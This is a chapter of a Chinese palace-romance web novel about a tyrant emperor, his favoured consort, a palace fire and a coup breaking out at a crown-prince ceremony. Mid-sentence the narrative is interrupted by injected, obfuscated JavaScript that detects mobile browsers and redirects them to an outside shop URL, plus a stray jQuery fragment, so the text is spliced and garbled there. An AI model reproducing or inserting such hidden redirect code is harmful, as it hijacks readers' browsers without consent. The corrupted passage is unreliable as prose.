59. 杨花(一)
作品:《暴君与妖妃纪事》 郑黛捧着手炉在城楼上站了会儿,见马车启动,她拧了拧眉便在紫环的搀扶下回了寝宫。
她环顾四周,察觉到母亲一走,这宫里难得的人情味便消散了。
宫女上前呈上一个信封:“娘娘,夫人在屋中留了信,是给娘娘的。”
郑黛接过来,手上一顿,紧接着摘下灯罩,将信封放在烛火上点燃,又丢进炭盆里,整封信立刻化成灰烬。
“娘娘?”紫环的话语里透着关切。
郑黛瑶瑶头,只说自己困了,准备再好好睡上一觉。
胡玉烟来时,宫人说皇后正在休息,她去偏殿看了看元霄,孩子安稳地躺在摇篮里,她等了好一会儿才见郑黛醒来。
胡玉烟坐在她榻前,“玉烟姐姐……”郑黛的声音弱弱的,将头靠在胡玉烟肩上,还依赖地蹭了蹭。
胡玉烟在郑黛宫中待了半日,回去的路上风更冷了些,她拢紧披风,脚步却不急。甫一进殿,便察觉到熟悉的气息已在。
赵长昭站在窗前,听见脚步声也未回头,只淡淡道:“舍得回来了?”
胡玉烟走过去,从后抱住他的腰,额头抵在他背上,声音带着几分归巢的慵懒和依恋,冷不丁冒出一句,“我感觉我好爱你。”
赵长昭好像被戳中了最敏感的地方,他喉头滚了一下,偏偏嘴上要说,“你让我等了好久,这才舍得回来了?”
胡玉烟踮了踮脚,贴近了些,呼吸擦过他的下颌,又重复了一遍,声音更软:“我说,赵长昭,我好爱你。”
赵长昭盯着她看了片刻,手已经扣住了她的后颈,“你就会哄我。”
胡玉烟被他按得微微仰头,眼睛却亮着,笑意里带着点狡黠,“你爱不爱听,我也是真心的。”
赵长昭眼眶一点点变红,忍不住低头在她唇角咬了一下,“我好想吃掉你。”
胡玉烟被他这孩子气的的话逗笑了,赵长昭看见她的反应反而急了,将她整个人困在怀里,“笑什么?”
“我是认真的,我想一直把你锁住,让你不能离开我身边超过三寸的距离。”
“可是你会不高兴……”
胡玉烟这才注意到赵长昭的身上沾了淡淡的酒气,她在他唇上吻了吻,果然尝到了酒味。
赵长昭越说越起劲,“郑黛的儿子不行,那只猫不行,连窗外的风雪、天上的日月都不行……你要全心全意爱我,你敢分给别人一点,我就……”
胡玉烟挑挑眉。
赵长昭顿了顿,似乎在想最狠的威胁,最终却只是将脸埋进她颈窝,发出一声含糊的、带着哽咽的闷哼,“我就活不下去了。”
胡玉烟抚摸着赵长昭的脊背,察觉到他的情绪好像有些不对,试探着问道:“可是有什么烦心事?”
炭火燃烧发出一声微响,赵长昭顿了顿道:“我又杀了些人……”
“那个臣子装得忠心不二,私下竟然用自己的小孙子将上官楚不满三岁的孙子换了出来。”
“我下令诛他三族。”
“我想不通,上官楚那样的鼠辈,为什么有人愿意帮他。”
听到上官楚,胡玉烟的眼中闪过一丝愤恨,随即攥紧了拳头,她扬起嘴角,“陛下没错,上官家的所有人都是该死的,他们冒犯天威也是该死的。”
赵长昭笑笑,眉眼弯弯,继续道:“我明明没有错,他还骂我昏庸残暴。”
“我让人把那人拖下去,在殿前砍了他的头,让满朝文武都看清楚。”
胡玉烟在他脸颊上吻了吻,“我也该同你一起去朝堂的,可惜错过了这么一场好戏。”
赵长昭低低笑出声来,“谁让你不陪我?”
胡玉烟顺着他的力道靠过去,脸贴在他肩上,赵长昭弯腰将她抱起,胡玉烟惊呼一声,却被他轻松扛在臂弯里。
“放开我,你这暴君!”她笑着拍他的肩膀。
他却不放,反而在殿内原地转了一圈又一圈,胡玉烟的头发和衣角都被风拂起,脸上笑意溢满。
离赵元霄的满月宴只余三日,正是天寒地冻的时候。
胡玉烟去郑黛宫中坐了坐,给那孩子换了件自己亲手绣的肚兜,想着赵长昭在等她,并未久留。
冬日稀薄的阳光有些刺眼,她刚走出不远,忽听身后传来一声沉闷的异响,紧接着是木料断裂的噼啪声!
胡玉烟心头一跳,猛地回头——
只见郑黛的居所竟已蹿出骇人的火舌,浓烟滚滚,直冲天际!
她脑中空白一片,眼前发黑,整个人向后踉跄,被随行的宫女扶住才未跌倒。
“娘娘!”
胡玉烟已听不清呼唤,转身就往回冲。刚奔至庭院,正撞见郑黛被两名宫女搀扶着,跌跌撞撞从浓烟弥漫的殿门内逃出,满面烟灰。
“你怎么样?”胡玉烟一把抓住她手臂,力道大得令她吃痛。
郑黛惊魂未定,喘息着摇头,目光却猛地转向侧后方,“元霄在偏殿……”
胡玉烟心头一紧,没有思考,推开郑黛就要往那已被火舌舔舐的偏殿方向冲。
郑黛意识到她想做什么,快步追上,死死抓住她的手腕。
“玉烟!不行!”郑黛脸色煞白,用尽全力从后死死抱住她的腰,“火太大了!你不能进去!来人,快拦住她!”
胡玉烟咬紧了唇,泪水夺眶而出,她死命推拒着郑黛,心跳几乎要炸裂,“放开我——元霄在里面!”
“我的元霄……”
郑黛慌了神,从未见过胡玉烟这般失态。
她被推得踉跄倒地,一旁的宫女慌忙上前,几人合力才将失控的胡玉烟死死拦住。
胡玉烟望着那吞噬一切的烈焰,发出一声凄厉到极致的悲鸣。不敢置信她才拥有的血肉至亲,这么快便要失去。
莫非她真的是天煞孤星的命数,才让她的亲人一一离开她……许久不曾出现的绝望感从脚底一点点爬上来。
就在这时,一道身影从偏殿的侧门冲出。一名内侍弓着身,用外袍紧紧裹着一个襁褓,连滚带爬地冲了出来,脸上尽是黑灰与汗水。
胡玉烟的目光死死钉在那小小的襁褓上。
宫女小心翼翼地将襁褓接过,递到她颤抖不已的臂弯中。胡玉烟紧紧抱住,脸颊贴上婴儿那被烟熏得微热、却安然无恙的小脸,滚烫的泪水终于决堤,无声地没入锦缎之中。
火势很快被扑灭,并无一人伤亡。郑黛所居的正殿后半部分损毁严重,不得已又搬去了新宫殿。
赵长昭来时,胡玉烟紧紧抱着元霄,她坐在火盆盘,眼里带着失而复得的惊悸与执拗的温柔。
他在她面前蹲下,“吓着了?”
他道:“茶房内炭盆倾倒,引燃了旁边堆放的布料与纸张。”
“杀了他们。”胡玉烟淡淡抛下这么一句。
赵长昭轻轻抚了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937756|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抚襁褓的边缘,让胡玉烟的头抵在他的胸膛上,“谁都不能伤害玉烟珍视的东西。”
胡玉烟笑笑,那笑意很轻却是真切的,她低下头,心中一片清明。
赵长昭永远不会离开她,元霄在她怀中安静地呼吸,她也活过来了。
火灾之后,赵元霄的满月宴推迟了五日,定在国师新选的大吉之日。
红毡从殿外一路铺到御座前。郑黛抱着孩子坐在偏侧,她看着怀中襁褓,想着胡玉烟那日冲向火海的模样,知道自己这个生母,是做不到那一步的。
襁褓微微动了一下,小小的手指从锦缎中探出来,攥住了她的衣襟。
郑黛低头对孩子笑了笑,心里那点对母亲的怨,忽然散了许多。她对自己亲骨肉的爱意好像并不多,便也没有理由强求娘亲事事以她为先。
赵长昭坐在正中,乐舞一轮又一轮,酒盏换了几次,连殿外廊下都站满了候着行礼的官员。
礼官的声音在此时高高响起,压过了殿中所有杂音。
“吉时到——”
百官肃立,礼官上前,从郑黛手中接过孩子。
恰在此时,一名内侍疾步奔至御前,喘息未定,颤着呈上一封插着鸟羽的急报。
赵长昭眉峰微动,接过快速翻阅。
“怎么了?”胡玉烟侧目看来。
“无事。”赵长昭抬眼对她笑了笑,将文书扣在案上。
刚满月的赵元霄被包裹在明黄色的襁褓中,只露出一张睡得红扑扑的小脸,对周遭的宏大与寂静浑然不觉。
礼官展开金箔玉轴的册文,开始朗声诵读。
胡玉烟的目光须臾不离,赵长昭面上不动,却握着那封急报,掌心沁出一层薄汗。
礼官还在读册封文书,方才送文书的内侍又匆匆上殿,递上了第二份。
赵长昭犹豫了一下,放在一旁没有看。
待礼官读完,他起身走下御座,亲手将襁褓接过来抱稳。然后转身,面向满朝文武。
“今日太子册封,朕还有一事。”他的声音压住了殿内所有声响,“礼部听旨,拟诏。”
赵长昭郑重道来:“赵国皇后郑氏,虽有德行,然不为朕之所喜,不复居皇后之位。念其育嗣之功,赐尊号,移居国寺祈福,以终天年。”
殿中立刻传出窸窸窣窣的议论声,郑黛只是惊讶了一下,更多的是觉得浑身一阵轻松。
赵长昭继续道:“宸妃胡氏,德容兼备,辅政有功。今顺承天意,特册立为皇后,授册宝入宗祠,诏书昭告天下。”
两道诏命,一废一立,在太子大典上颁下,干脆利落没有半分转圜余地。
胡玉烟袖中手一下子攥紧,不明白为什么赵长昭不与她商量,便搞出这么一出。她看着那道背影,渐渐皱起眉头,赵长昭却丝毫没有察觉到她的目光。
殿内喜庆未散,这时几名侍卫盔甲染尘,踉跄着冲破卫兵的阻拦,扑跪在殿上。
为首之人气息未定,声音因惊惧而撕裂:“启禀陛下!流民聚众数万,与城内乱党里应外合,攻破城门!”
“元都太守反了,已率叛军朝京城杀来!先锋距此已不足百里!京城守备空虚,请陛下、娘娘、太子速速移驾!”
周遭一瞬间安静的可怕,赵长昭脸上闪过一丝惊容,他僵硬着转身回头,越过人群望向胡玉烟。看着她花容失色的模样,他轻轻笑笑,想示意她安心。

